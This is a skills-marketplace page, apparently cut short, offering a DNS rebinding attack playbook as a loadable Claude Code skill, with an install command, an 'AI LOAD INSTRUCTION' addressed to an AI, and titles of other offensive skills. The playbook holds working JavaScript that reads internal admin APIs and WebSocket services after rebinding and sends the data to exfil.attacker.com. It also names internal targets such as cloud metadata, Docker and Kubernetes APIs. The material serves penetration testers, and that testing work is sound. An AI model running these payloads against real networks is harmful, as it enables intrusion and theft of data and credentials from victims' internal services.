401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.
$ npx -y skills add yaklang/hack-skills --skill dns-rebinding-attacks --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/dns-rebinding-attacksContext preview
The summary Claude sees to decide when to auto-load this skill.
DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.
name: dns-rebinding-attacks description: >- DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.
> **AI LOAD INSTRUCTION**: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths.
---
The browser same-origin policy binds `protocol + host + port`. The **host** is resolved via DNS at connection time. If an attacker controls the DNS server for `attacker.com`, they can:
1. First resolution → attacker IP (serve malicious JS) 2. Second resolution → internal IP (victim's network) 3. Browser considers both responses same-origin (`attacker.com`) 4. Malicious JS reads responses from internal services
Victim visits attacker.com
│
▼
DNS query: attacker.com → 1.2.3.4 (attacker server)
Browser loads malicious JS from 1.2.3.4
│
▼
TTL expires (or forced flush)
│
▼
JS triggers new request to attacker.com
DNS query: attacker.com → 192.168.1.1 (internal target)
Browser sends request to 192.168.1.1 as "attacker.com" origin
│
▼
JS reads response — same-origin policy satisfied
Exfiltrates data to attacker's other endpoint**Key insight**: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname.
---
The attacker runs an authoritative DNS server for their domain that alternates responses:
| Query # | Response | TTL | |---|---|---| | 1st | Attacker IP (e.g., `1.2.3.4`) | 0 | | 2nd+ | Target internal IP (e.g., `192.168.1.1`) | 0 |
TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection.
Browsers maintain their own DNS cache that **ignores low TTLs**:
| Browser | Internal DNS Cache | Bypass Technique | |---|---|---| | Chrome | ~60 seconds minimum | Wait 60s; or use multiple subdomains | | Firefox | ~60 seconds (network.dnsCacheExpiration) | Adjustable in about:config | | Safari | ~varies | Generally shorter cache | | Edge (Chromium) | Same as Chrome (~60s) | Same techniques as Chrome |
1. Multiple A records technique: - Return BOTH attacker IP and target IP in single DNS response - Browser tries first IP; if connection fails → falls back to second - Block attacker IP after initial page load → forces fallback to internal IP 2. Subdomain flooding: - Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com... - Each subdomain gets fresh DNS resolution (no cache hit) 3. Service worker flush: - Register service worker that intercepts and delays requests - By the time fetch executes, DNS cache has expired
---
Target: internal web services (admin panels, REST APIs)
// Served from attacker.com (first DNS resolution → attacker IP)
async function exploit() {
// Wait for DNS cache to expire
await sleep(65000); // >60s for Chrome
// This request now resolves to internal IP
const resp = await fetch('http://attacker.com:8080/api/admin/users');
const data = await resp.text();
// Exfiltrate to different attacker endpoint
navigator.sendBeacon('https://exfil.attacker.com/log', data);
}WebSocket connections persist after DNS rebinding. Establish WS, then rebind:
// After rebinding, WebSocket connects to internal service
const ws = new WebSocket('ws://attacker.com:9090/ws');
ws.onopen = () => {
ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
fetch('https://exfil.attacker.com/ws-data', {
method: 'POST',
body: e.data
});
};Server-side applications that validate DNS at request time but reuse the connection:
1. Application receives URL: http://attacker.com/callback 2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation 3. Server opens connection / follows redirect 4. DNS changes: attacker.com → 169.254.169.254 5. Connection reuse or redirect hits internal IP
This is a hybrid with SSRF — the rebinding happens in the server's resolver.
DNS response for attacker.com: A 1.2.3.4 (attacker — serves JS) A 192.168.1.1 (target — internal service) 1. Browser connects to 1.2.3.4, loads page with JS 2. Attacker firewall blocks further connections from victim to 1.2.3.4 3. JS makes new request to attacker.com 4. Browser tries 1.2.3.4 → connection refused 5. Falls back to 192.168.1.1 → still same origin 6. Response readable by JS
---
| Target | Port | Why | |---|---|---| | Cloud metadata | `169.254.169.254:80` | AWS/GCP/Azure instance credentials, tokens | | Docker API | `172.17.0.1:2375` | Container creation, host filesystem mount → RCE | | Kubernetes API | `10.96.0.1:443/6443` | Pod creation, secret reading | | Internal admin panels | Various | Router config, NAS, printer, SCADA | | IoT devices | `192.168.x.x:80/443` | Camera feeds, smart home control | | Elasticsearc
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent…